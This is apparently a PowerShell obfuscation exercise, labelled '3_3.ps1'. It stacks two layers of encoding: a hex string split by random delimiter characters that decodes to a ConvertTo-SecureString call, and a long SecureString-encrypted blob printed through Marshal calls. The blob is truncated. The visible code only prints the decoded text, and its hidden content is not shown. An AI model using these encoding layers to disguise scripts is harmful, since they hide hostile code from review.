41r47:49:41<4el41r41Z34l41<44l67<41<4eZ41{41{78<41:47l51:41Z4d:41<41:33&41{44<67<41&4e&77l41r79Z41Z44&41<41{4d_51&41{78{41&44r55{41<59:51l41l30r41r44Z55:41{4e&77:41_7a_41Z47<49<41&4e:77<41:35_41r44<6b{41:4dl51r41_34&41{44<49<41{5a_41Z41&30l41{47Z4d&41&4d{51_41r32r41l44l59&41_4e&67l41_30r41l44_63:41r59<77r41l32_41&44_49<41_4e<51r41{79_41&44r67Z41_4d<67_42&6br41l47Z59<41r5a:51<41<30Z41&44Z55<41r4e_67&41{33&41l44:55{41<59{77r42{6cZ41&44r59<41Z59l67Z42{6cl41r47_51<41&4eZ77&41&7a:41&44Z59r41<4er77<42&68r41&47Z59r41&4e<41&41_33&41<44_55r41l4dZ67Z41l35l41l47{49&41:5a<67<41{32_41<44r67<41<59&77{41r79{41_44:55:41:4dl51Z42l6dl41l47r51:41<59&67l41r30r41l47_59:41&4d&41_41&32:41_47l45Z41Z4eZ67:41_77_41l44_55{41:4eZ51_42:6br41{47&45Z41:4e<51{41{7a{41r47<4d{41Z4f&41{42:69{41{44_45{41<4f_41:41Z31l41_44_4dl41r59&51{42_6d_41r47_49<41_4f{41Z41<7al41<47l4dr41_4eZ41<41<34&41Z47:49&41&5al51l41r79&41:44:45r41l5a<51&42{6cZ41&47l49<41<4d_41_41&7aZ41<44&55<41Z4dr77:42{6c&41_44{41r41r5ar41r42{6bl41:44_59<41{4d{67:41<77&41:44l55&41:4e&77_41_7a<41&47_59:41{4f&51&42l6d&41&44l55_41:59<77r41:78l41_47Z49{41:5a:67_42Z69<41{44:49Z41:4e<41Z42:6a:41r47{59Z41:4f{51:41l77:41{47r59{41:4e{67Z42&69Z41:44<6b&41{4dl67_41l78r41Z44_6bl41l5a:67Z41_35r41{44{63<41_4e&77_42r69l41l47Z55{41Z4d{51{41<77<41<44_55{41_4el41:41&78l41{44_4d<41_4dl77<42<6d<41{47Z59Z41r5ar67:42{6d:41<47&49{41l4e:41&42_6c{41&47_55<41Z5aZ51&42&68_41{44<67:41<5aZ41l41_31_41:44&51{41l4d{67:42r6c{41&44:63{41l59{67{41l77r41_47{4d_41{4e<51Z41l78{41{47:55_41&4dZ77<41r7a:41r44Z45l41_4d:41Z41{35r41:47&59&41:59{51_42r6bl41{44_41<41r5a<41l41_31&41l47l51<41l4d_67_41Z78_41_47&45l41:4e:51{42{6c{41<47:59r41:4e_51:41{79r41:47:49&41l4e:77:42<68_41r47&51<41<4d&77&42l6c<41r44:4dr41_4er67:41{78:41l47l55:41Z4dZ77r42_6d_41r44<41:41:59&77r41_34_41{44:67r41l4e<77l42{69Z41_47{4d:41&5ar67&41l31r41&44_4dr41l59Z67Z42_6dl41_47:49r41&5ar41l42<68r41:44&6b&41_4d<41Z41r77{41&44_55l41_5a&41<42:6b<41_44_49<41r4dZ51{41r30Z41:47l55Z41:4eZ77:42Z6cl41_47r4d:41:59l51&41{77<41<44{6b&41&4e:67:42r69_41l44_51<41<59_67l42Z6c&41r47_49&41r5a_41Z41:33l41r44&45Z41&4d{77r41:32{41_44l55_41Z4d{51&41l34Z41:44:41&41_59Z51<42l6a:41Z44Z67{41:59:77&41&7aZ41<44{63<41r4fr41Z42Z68r41Z44:6b_41:4eZ41{42:6a_41:47:59l41<5aZ41{41{79&41<44<63{41{5a<51{41Z32:41_47{49:41r5a<41&41:79:41Z44{63{41_59_77<41_31Z41&44Z59&41&4d_67&41{77{41l44r55:41<4d{51:42l69r41_47{45<41Z4e<77r41&77Z41_47l49:41l4e&41l42&6dl41Z47_59r41:4e:41{41_31<41<44{59&41<59{67<41r32r41&44:4dr41<4fl51Z42&6aZ41&44{63Z41_4el51<41{7a:41<44r4d&41:4e{51_42r6bZ41_44&51:41{4d{77l42Z69&41_44{67l41&59_67<41{33&41{47r49&41:4el77r42{6c_41_47r45l41<4dl51<42r6d{41{47<4d{41&59r51Z41<33Z41:47&49<41<5a:41{42Z6cl41_44<67:41r59<51l41<34&41l44{63r41&4dZ77:41r78Z41_44{6b{41Z4e_41_42Z6dr41&47Z59{41_4fr51r41:77<41<44r59r41l59r67&42{6bZ41_44Z4dZ41_4dr77Z41l77{41:44_4d&41{4dZ77:42Z6aZ41<44l49l41r4dr77l41r77r41{44Z41:41l4el67{41&33:41r47Z55{41&59<77{41l77{41_47<55r41<4er77&41Z30{41r47&4dr41_4dZ67l41&33&41{47:55{41:4d_67Z41&78l41:44r67<41Z4e:51:41r32Z41r47r49:41r4f{51&42_69<41&44l4dr41:59&67_41Z7aZ41l47Z4d<41{5a:67&41:7a:41Z44r55_41Z59l77l41&33r41_44l6b{41r5al67<42l6b:41_44Z49<41:5a&51_41&34l41:47{49&41<4d:41l42r69l41_47:49<41l4e&51&41&7a_41<44<63_41l4er51<42&6c&41_44l45&41_4e:67<42Z69:41r47l51:41<4dr51Z41&32&41{44l49<41r4f{51:42<68:41&44{6br41&4fZ51&41&35Z41_47Z49Z41:59<67:41<7a:41_47{4d_41l59_77&42_6b<41{44&41r41{59_51_41<35r41Z44<6b:41&4d&77<42r6cl41&44_45:41{4eZ51l41_30&41&44_45l41l5a:67<41&7ar41{47<45l41{4fl51r41<77_41r47{4d_41_4d:67&42:6cZ41r44:45_41<5a_41:41&33<41r47{59Z41{4e&67r41<7ar41Z47{59_41l59Z67_42&6cr41Z44Z59{41l4f_51_41r79<41&44<59{41l4f:41<42:68r41Z47{49{41&4el51Z41_34r41&44{67&41_4eZ51:41:33&41&44{4d_41&4dZ51l41&34l41_44&59:41&4dl67&42_69Z41{44<6b_41r4dl41:41Z30_41&44_4d<41Z4d&67l42l6d{41_44r4d&41:5a<67l41&77<41<44_4dr41{4e_41Z42Z6d<41Z44r55<41l4er51_41Z30l41&44l59l41:4e{51:41:30{41:44{6b:41l5a_51&42<69Z41r47:49l41l5a{41_41<7a:41Z47r55&41:4e_41&41r7aZ41{47<59r41_59Z77_41&34_41&47&45Z41_4fZ51Z41{77&41Z47<59{41r5a<41l42l6br41&47l51&41<4d_41l42<68<41l44r59<41Z59r67_42:6bl41{44Z63{41:59:67:42Z6cr41l47<59_41<4e<77_41:79{41_44l59r41Z4er67&41l35l41Z44l6bl41r4er77Z42_6cZ41_47l49_41<4dr41l42Z6d:41:44:6b_41{4er41{41Z31Z41Z44l59l41r59:67<42&69l41Z47l55<41r4d_51r42_6a:41&44<63Z41Z5ar67:41l33{41&44:59r41Z4e_41{41l31{41r44_41Z41<59{77{41{33Z41&47_45{41<4e&41<41l34:41{47r49<41l4d{77_41l77:41:47<4d:41&4er77&41{30Z41l44{63Z41:4f_51_42Z6b_41&44<41r41&4dr67:41<77<41<44_6b{41Z4dZ77Z42_6ar41:44&59:41<59l67<41{77_41<47:45l41{4d&51l41Z7a&41<44<4d&41r4el41_42_6b&41:44_41r41{4f<41{41&33_41&44<63_41r4d:77&42Z6dr41<44{63Z41Z4e_67<41:31{41_44<41Z41r4d:41l41l35_41<44Z4d_41{4d<67l41&33{41r44<67{41&4dl67<41<32&41l44l51_41{4d_67:41Z34r41_47r45_41Z4e<41:41{77_41:47&55&41Z5aZ51:41l34Z41{47Z4dl41r5al67<41&78l41&44_51_41&4f<41Z42Z6a&41<47<4dZ41l4dl41<41{79:41&47Z55r41_59r51&42{6a_41_44<51l41_4er67l41{35{41&44&45{41:4f{41<41:35:41l44<59Z41_59&67{41:78Z41{47_55<41<59r77{41<78_41:44{41{41:4f{41Z42{6cZ41Z44&4d{41_4dZ41&41<77{41:44&59:41:4f:51<41_79Z41<44&59&41r5a&67{41{31_41r44Z41Z41{5a{41<41:31l41&47_4d&41{4e{51Z41_32l41r44_59<41:59:77:41<78_41<44<49:41<5aZ41:41r30_41_44r4d<41r4d_67&42_6bZ41r44_41:41{4e:67:41_32<41&47&45l41<4e&41_41{77<41r47l51Z41r4d<77Z42Z6a{41r44{59Z41Z4er77<41_32:41_44r63{41_4d{67<41Z33_41&47:51Z41_4d:77{41_77l41_44Z59l41<4fr41&41l31<41&44_51{41&4er67Z41r34r41:47:4d<41l4e{41&42&68r41&44{6bl41&4er51r41<77<41{47_59_41r5ar67_41<30l41r47Z51l41l4eZ51{41:34{41_44r55l41&59_67l42Z6a:41<44:67l41Z5a<41_42:6b<41_44_63<41l4el77<41Z31<41&47<45&41l4d<67Z41Z32l41r47l45_41{4fZ41:41_77l41:47<4dZ41l5a&51<42:69<41&44{6bl41_59:51Z41l34_41<44<4d{41{4fr41r41:31Z41<44<41{41:5a<41:42_6c:41&44<51Z41r59{77&41r3dl27l20_7c:20<63l6f<6e{56<65<52_74:74_6f:2d<53r45_63{75&72_45Z73<54&72&49r6e_67<20&2d{6b:65_79{20:20l28{31:34{33{2e:2eZ31_31l32_29&29{20r29:20l29_20_29Z20:29{20'.sPLIt( '<r_l:{&Z' ) | %{ ([cOnVErt]::toInt16( ([strING]$_ ) , 16 )-aS[cHAr])} ) -JOIN '' | Write-Output
# 3_3.ps1
.( 'Write-Host'-jOIN'') ( ([rUNtiME.INTERoPsERvIceS.MaRshal]::PTRtOstrinGBsTr([runtIme.INTeRopSeRviCES.mARShAl]::seCUResTrInGTObsTR( $('76492d1116743f0423413b16050a5345MgB8ADAAMABRAGkAcgB2AEEATwBuAHIANgB0AEgAUwBxAFAASABxADgAZAArAHcAPQA9AHwAMwA0ADMANwBmAGQANwAxAGYAMgBhADUAYgA3AGEAZgAyADAANAAzADkAZQAwAGEAZAA5ADMANgBiAGIAMgA2ADQAMQAzADYAZQA0ADUAZgBhAGIAZQBiAGUANAAxADQAZgA4ADMAYgA1AGEAYQBiADEAMgAyADcANQBkADgAYQAxADcAOABkAGEAMgBiAGUAYgA2AGMANQBiADMANwBhAGQAYgBkADkAZgAzAGQAYQAzADUAMQA3AGIAYgA5ADgAMwAxAGUANQBmAGEAMQA2ADQAZgA4ADEAMgBkADEAZAAyADgAMgA4AGQAMQBiAGUAYQAzADgAMABjADIAYgA0ADcANABiADMANgAwAGUAMQA4ADEANgAxAGIAOAA0ADIAOAA2ADYANgBjADIAYwBhAGMAZAA1ADYAMgA3AGEANgA2ADMAMwA5AGIAMwBmADgAZAA2AGQAMwA1ADQAMwBlAGMAMgA0ADQANgA4ADQAOQBmADgAMwBjAGQAMQA5AGEAMABhADcAMABhADYAMwA4ADkAMQA1AGUANAAwAGYANwAzADcAOQA5AGMANQBjAGYANABiADcAYQA3ADMAYgA5AGUAOQBjADMAYwBmADYAYgA3ADYAYwA4ADkANQA3ADMAZQBhADEANwAxAGEAMABiADgAMAAxAGQAZABlADUAYwA0ADMAOQA0ADAANQA5AGEAYgA0AGIAOQAyAGMAMwBlADIAMwBlAGUAOQA2AGMAMgBiADEAYQA1ADcAYgBlAGMANQBlAGIAMgBlADIANAAzADcANAA4AGYANQA0ADkAMAAwADEANgAyAGYAMwAzADYANgA1ADEAMwBhADUANwBhAGMAYQA5AGUANgA0ADIAOQA3ADAANwBiADgANQA2AGUAZQBmADkAMAAzADYAOAA0AGQAOABkAGEAMgAyADMAMQA1ADgAMgAyAGYANwBhADYAYwA4AGEAMgA1AGUANgAyAGMAOQBmADIAMQBiADkAOQA5AGEAYgA1ADkANQA5AGIAOABkADUAYgA1ADgAYQAxADIANABiADYANQBlADIAZABjADgAMABkADIAMQBmADkAOAA0ADEAMgBjADQANQBkAGMAYgA0ADgAMwBjAGYAMAAzAGUAZgAzADMAOQBiAGYAOAA5ADIAZABkADIANwBhAGMANgBjAGIAOQAwADgAMgA2ADkANABkADgAMgA1ADcAMwA2ADYAYQA0ADYAZAAzAGEAMwBmADMAYwAxAGUAMQAyADgANgBjAGQAMwA3ADEAMABiADQAMwBiADEAYQAxADcAZgBiAGMAYwA3AGYAZQBiADIANQA4ADEAMwBjADYAMgAyAGUANgA3AGEAYwBjAGMANAA0AGEANgAyADgAYQBkADUAMAA4AGMANQAxADAAMwA4AGYAYgA3ADMAMABmADYAYQA4ADgAYgBhADIAMQBhADYAYgA5ADgAOQBlAGYANABjAGYANwBmAGEAOAA5ADAAOQAxADUAOQAxADgAZgBjADgAOAA3AGMAOABlAGMANgAwADkAOABjADEANwAxADYAMgAzADEAOAAwADAAMgA2ADQANQA0AGMAYwBlAGUANwBmAGIANQAxAGIAMgA3ADQAZgBlAGQAZQA5AGQANABiAGMAYQA4ADIAMQAwAGQAMwAwADUAMwA0ADIANQA0AGIANwA5ADgAMQAxAGIAYwBmADEANQAwADgAYwAwADYAOQA4ADkAMgBmAGUAOAAyADkANQBiAGIAMABiADYAZgAzAGUAYwA4AGQAMgBlADIAYwAyADUAMwAzADUAMAA5ADEANABmAGMANwA0ADUAYQBhADAAYQA2ADEAYQAyADEAMwBmAGUAZAA5ADgAZgBkADMANAAyAGEAMwBlADQAYwBjADIAOABmAGYAZQBlAGUANwAxADcAMABkAGUAOAAxADUANQBlADYANAA4AGMAYQBlAGMANgBiADgAMgA4ADIANABlADkAMwBhADkAYQA4AGYAMABlADYANwAxADQAZQAxADYAZAA0ADkAYQBlADUAYQA3AGQAMQBmADkAOAA5ADgAYwAwADEAZgBhADAAZgA1AGUANwA1ADgAYQBmADYANQBiADkAOQAyAGEANwA1AGIAYwBkADkAOQBkAGYAYQA5ADEAZQBmADIAMQBjADMAMwAwAGQANgBmADMAYgA5ADkAMABlADMAYwA0ADIAZAA4ADYANwAyADkAOQBmAGIANgA3AGYAMgAyAGUAYQBkAGMAMAA0ADIAYwAzADkAYwAxAGIAZQBhAGYAZQA1ADUAOQAzADMAZAA4ADAAZgAyADMAOQAxADAAMQBiAGUANAA1ADcANQA2AGMAZQA2ADkAMAA3AGMANAA4ADkANwAzAGQAMQA2ADYAMAAyAGQAOQAwAGYAZAAzAGIAMQA5ADUAZgBiADgAMgAxAGQAOABmADIAMwBlADEAOQA3ADgAZgBlAGUAYwA3ADAANAAzADEANABiADkAZAAyADAAZQAwADQANwBmAGEAZABlAGEANgAxADAAZgAxADUAMAA5ADUAZQAzADAAMQBmADEAMQAxADkAMwBjADYANgA1AGQAMQBlAGEANQAxADcAMgAxADYANQA5ADAAMgAxAGYAMQAxAGEAMQBjADMANgBjAGUANAAwADkAMQA0ADAAMQA3ADQAOQAxADEAYQBlADQAOABhAGQAZAAyAGYAOQAzADMAYQBhAGIANwBiADcANwA0AGQAMgA5ADkAZgBmAGUAOQBlADYANAA1ADkAYwAxAGUANwA2ADcAMAAzAGEAOAAwADQANwAyADgAMQBhADcAYQAxAGIAOABhADEAMgBjAGUANQA3ADIAYwA5ADMAYQA1ADIAZQBlADEAYgA2ADcAMwA3AGUAZQBhAGIAMABlAGIANAA3ADEAYgBiADIAOABlADIAOAA1ADYAZABmAGQANQBmADUAMgA5ADAAZAAwADkAZAA3AGYAMgA3ADgAZgA4AGMAZgBiADAAZQAzAGUAOAA4ADUAMgAyADAANQAwAGQAZQAyADkAZAA3AGYAMgBjADQAZAAyADkAZQBiAGEANQA5ADUANQA2AGEAMgA0ADQAMwAxAGIAZABkADEAZQA5AGIANgAxADgAMABiAGIAYwAyADgANAAwAGEAZgBkADEAMQA0ADMAYgAxADMAZAA2AGYANwBkADQANABkADAANABkADkAYwAwADMANwAyADkAZAA2ADAAOQAxADEAMwBiAGEAOABmADAAMgA0ADYAZgBkADYAZgBmADEANgBiAGYAMgAzADAANQBhAGIAMgAyAGUANABjADMAZQA2ADYAMAA5ADAAZgBjADMANgA5ADYAMwAwAGEANQA2ADUAYQBlAGQANgA2ADgAZABkADEAYQBjADYANgAyADMAYwAwADkAZgBiADQAYgAwADkANwAyAGIANgBjADQANABmADkAMAAzADYAZgBmADUAOAA0ADAAMgA1ADYAOQAzAGEAZgA0AGIAMwA2ADEANwBkAGIANQA5ADEANwBjAGEANgA2ADkANwA0ADUAMwBlADIAMQA5ADcAYwAwADEANAA4ADQAZAAxADIAOAA2ADUAMAAyAGUANQBiAGUAMgA1AGQAYwA3AGQAYgA5AGQAZAAyADgAOQBjADEAMQA5ADEANQAyAGMAYwA3ADgAZgBmAGEANABmADMAMAA5ADkAZAAxADgAOABlAGYAMQA1ADAANAA1ADYAZAA1AGUAMwA3ADUANwBjADEAZgAwADUAMAA3AGYAZAA5ADIAMQBlAGYAZABhADkAMQA1ADgAZgBjAGEANwAwAGMAZABhAGQAZgAwADEANQA3ADcAYQA0ADcAOAAzAGIANwBjAGUAZAA0ADEAZAA0ADMAMABmADgAMAA1AGQAZQA4ADcAOQA0ADIAMAAxADYAOAA4ADUAYQBlADEAZABhAGYANwBkADEANwA1ADYANABhADAAZAAyADYAMgAxADUAOQA1ADYAOAA5AGMAZAA3ADMAMQBkADMAMwBhADIAMgAxADgAYgA3ADEAZgAyAGUAMAAzAGIAZQA4ADIAYwBjADYAYQA0ADgAYQAwAGQANQA0ADAAYQA0AGQAMgA4ADYAOQBmADIANAAzADQAMAA2AGIANAA1AGQANgA1ADIANgBiADQAZQAzAGUAYQBlADUAZQAzAGUAYQA2ADcAYQA4ADEANwAyADQAZAA2ADQAYQBlADMAZQA1ADYAOQBjADUANwA2AGMANwBmADMAMAAxAGEAMAAyADUAZAAyAGMAMgA5AGMAZgA5ADAAZgA2ADEAMAA1AGMAOAA5AGMAZgBiAGIAMAA3ADQAZgAwADkAZgBkAGIANwBhAGIANgBiADUAMwAwADMAMwBjAGQAYwBkADUAMQA1ADcAZgBiADUANAA4ADUAMgBlAGEAYgA4AGEANwAyAGUANwBhAGMAMgBhAGYANAAzADEAMgBmADUAYgAyADQAMwBjADMAYwA4AGQANgAxADQAZQBlADIAZABiADkANQAwADEAYgA1ADQAOQBhADQANQBhADQAMwBiADIAMQBkADYANgBmAGIAYQAxADcAOAAwADIAYgAwADEANQA4ADUAOQA4ADYANwAwADkAOAA3AGEAMAA1ADUAOQBkADEANABiAGMAMQA3AGYAYwA5AGYANgA3ADIAYgBmADEAYwA0ADUAMABlAGQAYwBkADYAZAA0AGYANgA0AGUAMgA2AGIAYgA0ADMANAAwADgANgA4ADEAYwA5ADkANAA1AGMAMQA0AGUAZAA2ADUAZgAwADMAMQA3AGQAOQBmADIAOAAwADQANAAwADUANAA2ADIAYwBlADAAOABjADYAMwA1ADkAMAA0AGMAYgAwADAANgBlAGYAMAA3ADIAOAA5AGEANgAzAGMAMwA1ADEAZQBjAGEANQBhADUANgA0ADUAZQBjADYAZABlAGUAOQA3AGIANQBhAGQAYwA0AGUAZQBjADYAOQBiAGIAMAAzAGEAYgA3ADQAOAAyAGEANgBlADQANQBkADgAOABkADYAMQBkADkAOAAxADYAYQAyADgAZQA0AGEAOABmAGEAMABmADEANgA0AGMAMAAwADcAYgBkADIANgBkAGYANwBmADEANwA4AGMAMgAzAGMAZgAxADkANABkADQANgA3ADMAMABjADYAYgAyAGYANQAwAGUAYwA0AGQANwBjADEAMgA5ADcAMgA4AGUAZQBkAGMAMAAzAGYANgAwADQANgBmAGMANQA3ADYANgA2AGQAZABkADcANwA5ADUAYwBmADMAMQA5AGMAMwA5ADIAMABmADcAMwBkAGQAZgBiAGMAMQAxAGEAYQAwADIAOQA2ADgAYwAxADIAZQA2ADkAYwBmADEAMgBjADkANwBmAGMAOAA3ADEAZgA2AGEAMABlAGMAOAA5ADkANQBiADIAOQA2ADgAMgA0ADYANwBhADQAZAAyADQAYgBiADQAMAA5ADkAYwBhADAANQBhADAANQAzADIANQA4AGYAZgA5AGEANgA0AGIAYwAxADMANwA1ADkAMQAxADUAMAAzADIAMQBiAGIAMgAxAGYAMwA0AGEAMQA3ADgAZQBiADEAZgBkAGUAZgAxADMAMwA4ADMANgAxADIANgAzAGMAMAA1ADIAOAA0ADEANAA1ADkANwA4ADkAMgBmADMAMgAzAGIAMwBlADcAZQAwAGEAYgA5ADAAZgA1ADUAZQA0AGIANgBmAGMAZgBmADAAZgBlADgAYgAxAGEANQBkADMAOQA5ADMAMgBlAGYAZQAzADEAYwA1ADIAMQAwADUAMAA0ADIAZQBjAGYAMwBiADkAYwA1AGUAMAA1AGEAZgBlAGQANwBmADYAZABlADYAZgBmADcAOAA0ADAAZAA5ADgAZQAzAGIANQA2ADkAYgAwAGIAMQBlADEANwBmADMAMAA1ADgAYwBiAGIAYQAyAGUAMAA0AGMAYQBlAGUAMQBlADgAOQA1ADgAMgAyADAAZABiAGMAYgA1AGYAOAA4ADAAZgA0ADQAOQBkADgAMgBhAGIAOAA2ADUAOAAwADkAZAAzAGIAMQBiAGYANAAzAGMAOABjADEAMQBhADQAMAAzADAAYQBhAGMANwBjAGYANgAxAGIAMABjADkAOABiAGUAZgAwAGUAZABlADEANwAyADQAZQA0ADgAMgAzADAAYgBmADIAOQBlADMAYQA1ADMAOQBjADQAMAA2ADkANwA1ADUANAAyADYANAA1ADMAMQBlADcANQA0ADMAOABkADIAYQAxAGEANQA1ADQAZQA4AGUAYgA4ADQAZQBlADQANABkADYAMgBkADMAOABhADAAOQA3ADcANAAyAGEAMAA2ADcAZgBkADUAYQA2ADkANABhADMAZQA3AGEANgAxADAAZgAyAGUAZgA4ADcANgBlAGYANAAyADEAMQA1AGIANgA3ADAAZQAxADAAYQA0AGYAOQA3ADUAOABmADEAZABiAGIANgA1ADcAYgA4AGQAMQBjADMAMQA5AGQAYwBmADkANQA3ADYAMQA4ADcANwAyAGQAOQBlADQAZQBiADUAZQBkADMAYQA2ADMAZAA1AGYAYgBhADUANQA3ADEAOAAzADgAMgBkADUAMABhAGUAMwBkAGYANwBlAGIAYwBkADQAMQAwAGIAOAAzADIAYQA5AGQANgAwADYAOAAwADAAZABiADcAYgBlADcANQA2AGEAZQA3ADAAOABjADgAOQA4ADUAYQAzAGIAMQA2ADAAMwA5ADUAMAA4ADQANgA5ADAAOQBmADAANQBmADAAZgAxADAAMgAzADQANAA3ADIAOQA5ADYAMABkADcAMABlAGEAYgA0ADgAOABlAGIANgBmADkAMAA0AGUAZQA3ADMAYgA5ADAAMQA3ADYAOQBiADMAMwA0AGUAMgBkADgAZQA2AGEAMgA0AGIANAAzADIAZgAyAGQAYgBlADQANgA4ADkANgBjAGUAMwA0ADgAMwA0AGIAYwBlADIAMAAyAGMAZAA1AGYAMgBkADYANQA0AGYANgBmADUAOQBhADAAMAAyADMAOAAzADIAYgA4AGYAYwBhADAAOQAxAGEANABhADkANAA0AGMANQAyADgAYgBhADcANgA0ADQANwBlADAAOABiADMANwAzADYAOABkAGUANwA1ADAANAAyAGEANwAzADAAYQAyADQAOABiADgANQBiAGUAZAAzADAANgA2ADAAMQA5ADAANQA0AGQAZgA2AGMANwAxAGYAYQA1ADkAMQA1AGUAZQA1ADYAMAA2ADQAYgA1AGIANgBiADIANAA1AGMAYgA0ADAANQBkADkAZgBiADIAZQBhADYAOQA1ADYAMQA0AGMANgBmAGYAOAA4ADcAZQBkADYAYQBkADAAMgBhADIAZgAyAGEAMQBiADkAMAA1ADMANgAzADUAZgA3ADcAYwBlADMAOQA5ADYAMQA0AGUANwA4ADEAMgBiADIAOAAwADYAMwA4ADYAOQBmADYAZgAzADUAZgA5AGEANQA0AGUANwA2ADEANABhADYAMgBkADAAZAAzAGMAYQA5ADEAZgAyADEAMAA3ADIAYgAxADkAMgA4ADMANABiADUAYgA3ADYAOAA2AGYANABkADYAYwA2AGEAOQAzADAAOAA3AGUANgAzAGMAOAA1ADUAMAAxADQANQAwADkANwA2ADgAOABkADgAMQBmAGIAYwAzADcAYgBiADAANwA3ADAAOABjADQANQAwAGEAYQA0ADQAYgA3ADAANgBjAGUAZAA0ADcAOAA3AGIAOABhADcANQBhAGUAYgBlADIAYwBjAGUAOAA2ADYANgBiADcANQBhADMANAAxADYAMgAwADgAYwA2AGEAYQA4AGEAZgA3ADcAYgAzADEAYQA5AGMANAA5AGYANQAxADQAMwAzAGUAMwAwAGEAZABlADAAZAA1ADYAOAAzAGUAYwA5ADMAZAA3ADQANQAxADEAZgAxAGMANABhADkAYwAxADYANQBkADUAMAA3AGMAMQBkADcAOQA2ADIAMgA0AGEAMgAyAGMAMgBjADQANAAyAGEAMABiAGEAZgAyAGQAZgBiAGIANwBiAGMANABmADUAMABjADEAMgAxAGQAYQAxADAAZgA2AGEAYgBlAGMAOQA1AGMAMQAyAGQAZgA4ADEANwA2AGQAZgA3ADQAYQA0ADEANABmADQAMQAzAGEANgA3ADkAZABmAGUAYgAxAGUAOAAyADYAMgA2AGQAZgA5ADIANwBlADUANwAxAGQAMQBmADgAOQBlADQAZgAxADEAYwA3ADQAOQAxAGQANgAxADcAOAA4ADEAYQBjADIAYwBjAGYAMwBkAGMANABhAGEAYwBmADIANQA3AGUAMQBiAGIAMwAwADcANQAzADkAMgBmAGMAYwBjADIAZQBjADMAMAA5ADQAZAAwAGEAYgA3AGQANQA3ADYAYQA0ADUAOQAyAGYAZAAyADkAMABiADUAYgA2ADUANgAyAGIANAA3AGQAOABjADgAOQA0AGUANAA0ADkANwA2ADEANwAwADMAZAA0AGQAOABjAGEAYQBiAGYANwA0AGQAZAA5ADEANwBhAGIAMABiADIAOAA5ADQAYQBkAGUAMABmAGEANQBlADYAOAA4ADgAMQBhAGQANQA2ADgANgA2ADYANQBhAGIAZgBkAGEAMAAzADMANQAxAGMAZQA1AGYAOQAwADEAYwBhAGMAYwAwADcAZAA5AGYAYwA1ADgAOABjADUAZABiADYANAA3AGMAOAAyADIAMwA1ADIAMQA1ADQAOQBjADkAZQBiAGMAZgA3ADkAMgA5ADgAYwBlADkAZQBiADYAYQAyADIAOQAzADAANwA5ADgANwAyADYANABjAGUANQA4AGIAYgA2ADcANAA5ADAAYQAzADQAMwA4ADIAMAA5ADMAZgBiADcAMwA5ADQAYgBiAGMAZQBiAGEANgA3ADMANwBlAGUAZgBhADQAOQBhADYAMAA5ADkAMQA2AGUAYQA2ADMAMQA3AGEAYQA1ADQAYQA3ADQAYgA1ADYAYgBjADEAZgBjADYAMAA5ADQAMwBiADUAMAA4AGMAZQAxADgANgAzADkAMQBkAGEAZAAxADYAYgA1AGYAZQA3ADQAYwA5AGEAMABmAGEANQBkAGEAYwA2AGEANwA4ADYAOAA4ADgAZQBjADAAZAA2ADMAZAAzADYAZQA0ADIANQBiADUAZQAyAGQAYwBlADQANgAyADkAMABiADIAZABkAGMAZAA1ADUAOABlAGQAZAA2ADYANQBjADgAOABiADYAMgA3ADkANwAwAGQAMgBmAGYANwA1ADcAMwBhAGIAMgBmADAAZAA4AGUANwA3ADAAZgAyADEAOAAxADAAMwAwAGUAYwAxAGEAMwBkADUAMwBlAGUAYwBiAGQAMwA1ADEAMQA4AGYANAA5ADAANgAyADkAYQA5AGQAOQA2ADgANgBjAGIANgA1ADAAMwA0ADYAYgA3AGMAOAAyADkAYgBkAGUANQBlADAANgA5ADgAOQA5ADYAMgAyADQAYgBmADIAMgA2AGIAYwBhADQAMgBhADAAMwAxAGEAMQAzADYAZQBmADIANwAxADIAMQBlAGYAOAAxAGMAYQBlAGEANQBmADMAOABhAGMANwAxADkANQAwADkAYgBkAGYANAAwADYAYwBjADYAZQBhADIAYgA4AGIAYwBjADMAMwA2ADEAOQBiADIAMwA0ADkAYgAyADYAYQAxAGUAMQBjADgAMgA3ADIANgAxAGUAOAA4ADgAOABkADIANAAwAGYANABjAGQANwBhADAANABhADUANwAxADUAMgBkADIAZAAzADIANQA1AGYANgBkADkAZgA1ADEAMwAyAGEAYgA5ADIAMgA2AGUAMgA1AGIAYwAwAGYANwA3ADQANgBjAGMAOQBmADcAMQAzAGEAZQBhAGIAYQBiADUAZgBjADgANABkADUAYgA2AGQAZQBlADEAOABkAGEANwAwADAANABjAGEAYwA3ADIAMQA5ADgAYwBiADcAMwA2ADQAYwBkAGIAZgAxADAANQBlADQANAA2AGYAZQA3ADAAYQAyADgAMgA4ADUAZQA0AGQAZgA0ADkAOAA0ADQAMwA3ADEANgAyADgAYwA2ADkANQBkADIAMwA1ADEAOABhAGIAYgA0ADYAOQBhADQAOABmADQAMABmAGMAOAAyADMAMgBjADQAYQBmADcANQBkADMANQBhAGEANQAzAGMANAA4ADAAMgA0AGIANABkADUAMQBjADYANwBmADIANQA3AGQAZgAyAGEAOAAyADgAZgA1ADIAMAAyADIAZAA1ADUAYQBmADAAZgBhADUANgBlADgAMgAzADIAZAAyADQAYwA3AGIAMQBjADkAMABjADUAMwBiADMANQBlADQAMAA4ADMANABhADMANABmADYANwAzADEAMgA3AGEANQBkADYAYQA4ADYAZgA2ADIANwBjADcANQBhAGMAOABiADAAZQBjAGMANgBkAGYANwA3ADUANAAzADcAYQBiADQAOABlAGIAMwBmADcAYwBkADcAOAA0ADMAYgA2AGIAYgBhADcAMwBhAGQANAA4ADgAZABlAGUAOQA4ADAANwA4ADAAMgBmADQAYwAzADQANgA3AGUAMQA3ADUAYQA0ADQAMwAwADAAYQAyAGMAYgA4ADkAMgBmAGMAMgA5ADkAYgAxADAAMwA0ADYAOQA0ADcAYQBkAGMAZgA2ADYAMwAxAGMAMwBjAGMAYQAwADkANwBjADQAYgAxADgAYgAyADUANQBmADYANwAxADEAYwBmADMAOQBiADQAZQBiADAAZQBkADgAMwBlADMANABkADYAMAA1ADUAMABhADQAMwA1AGMAYQAzAGMAMQAxAGQANAAxADYANwAwADcAMQBjAGQAZQA4ADgAYwBkAGUANwA1ADkAMQAxADYAYwA2AGMAOQAwAGYAYgBkAGMAZQA0ADkANQA5AGYAOQA4AGIAYwA3AGEAMABjAGQANgBmADEAMABlAGMAZgA2ADkAZABlAGQAOABhAGIAZgBjADgANAA3ADkAYwAxAGIAMgBhADkAZQBiADMAYQAzADQANgAxADQAOQA5ADYAOAAxADgAYgBkAGIAMwA3ADIANgAwAGMAYwA0AGQAMAAyADAAMwBiAGMAYgA5ADgAYgBiADEAZQBmADkAMAA5ADYAMwA4ADUAMgA1AGQAMQAxAGMAYwAzADkAZgA5AGIAOAAyADAAZAA3ADkAY